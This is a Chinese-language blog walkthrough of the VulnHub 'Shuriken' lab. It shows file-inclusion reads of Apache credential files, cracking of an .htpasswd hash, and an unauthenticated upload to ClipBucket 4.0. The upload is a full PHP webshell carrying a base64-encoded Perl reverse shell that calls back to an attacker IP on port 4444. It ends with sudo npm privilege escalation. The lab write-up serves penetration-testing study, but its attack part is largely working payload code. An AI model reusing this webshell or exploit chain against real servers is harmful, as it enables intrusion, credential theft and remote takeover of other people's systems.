🍬 博主介绍
👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
一、信息收集
1.主机发现
靶机IP地址是:192.168.3.130
┌──(root💀kali)-[~/桌面]
└─# arp-scan -l
2.端口扫描
开放了80、8080端口
┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.3.130
3.web页面
扫描目录:
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.3.130
secret.png 的图片文字是 javascript,作者提示我们应该与 javascript 代码有关,仔细看首页 index.php 中有两个js代码
访问web页面的js
http://shuriken.local/index.php?referer=
http://broadcast.shuriken.local
试着想直接看看能不能访问到,发现域名解析失败,所有直接把域名加入到/etc/hosts
中
添加完成之后,访问域名,发现需要登录
4.文件包含漏洞
存在文件包含漏洞
访问broadcast.shuriken.local,弹出用户登录框。由于http basic认证,用户名密码为保存在.htaccess
或者.htpasswd
文件中,文件和位置保存在/etc/apache2/apache2.conf
因此可以用上面的文件包含漏洞读取该文件:
配置文件:/etc/apache2/sites-enabled/000-default.conf
sites-enabled是apache2正在使用的网站配置文件,sites-available是apache2可用的网站配置文件。
enabled中只有一个000-default.conf快捷方式。availbel中有一个000-default.conf和default-ssl.conf两个文件。
000-default.conf是使用http协议网站的默认网站配置文件,而default-ss.conf是https协议网站才使用的默认网站配置文件。
Apache默认目录:/var/www/html
htpasswds是用于创建和更新用于存储HTTP用户基本身份验证的用户名和密码的平面文件。
┌──(root💀kali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf
然后base64解码:
提示我没还需要读这个文件:/etc/apache2/.htpasswd
读取/etc/apache2/.htpasswd
文件
┌──(root💀kali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd>>123.txt
得到:developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
进行解码
┌──(root💀kali)-[~/桌面]
└─# echo "$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0" > hash.txt
┌──(root💀kali)-[~/桌面]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
得到密码是:`9972761drmfsls`
二、漏洞利用
1.登录网站
账号:developers
密码:9972761drmfsls
查看到CMS框架是:ClipBucket version 4.0
2.ClipBucket
查找下漏洞利用
┌──(root💀kali)-[~/桌面]
└─# searchsploit ClipBucket
通过exp,知道可以将任意文件上传,不需要经过验证
webshell木马的代码如下:
GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.3.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
3.反弹shell
┌──(root💀kali)-[~/桌面]
└─# curl -u developers:9972761drmfsls -F "file=@webshell.php" -F "plupload=1" -F "name=webshll.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"
{"success":"yes","file_name":"1701277954ef7242","extension":"php","file_directory":"2023\/11\/29"}
拼接以后的路径就是:
http://broadcast.shuriken.local/files/photos/2023/11/29/1701277954ef7242.php
再开启一个终端监听,反弹shell
nc -lvvp 4444
python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell
三、提权
1.sudo提权
sudo -l
提权网站:
npm | GTFOBins https://gtfobins.github.io/gtfobins/npm/#sudo
TF=$(mktemp -d): 这一行使用 mktemp -d 命令创建一个临时目录,并将其路径赋值给变量 TF。mktemp -d 用于创建一个临时目录。
echo '{"scripts":{"preinstall":"/bin/sh"}}'$TF/package.json: 这一行使用 echo 命令生成一个包含 npm 脚本的 JSON 文件内容,并将其输出到控制台。具体来说,生成的内容是 {"scripts":{"preinstall":"/bin/sh"}},然后使用 $TF 变量将路径添加到 package.json 文件的末尾。最终的输出是一个 JSON 字符串,表示一个包含 preinstall 脚本的 package.json 文件。
sudo npm -C $TF --unsafe-perm i: 这一行使用 npm 命令在指定的临时目录中执行安装。具体来说:
sudo: 使用管理员权限运行命令,通常用于执行需要更高权限的操作。
npm: Node.js 包管理器。
-C $TF: 指定 npm 在哪个目录中执行操作,这里是指定为之前创建的临时目录。
--unsafe-perm: 以不安全的权限模式运行 npm,通常在以管理员身份执行时需要。它允许在更高的权限下执行 npm 脚本。
i: 是 npm install 的缩写,用于安装项目的依赖项
步骤:
touch package.json
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev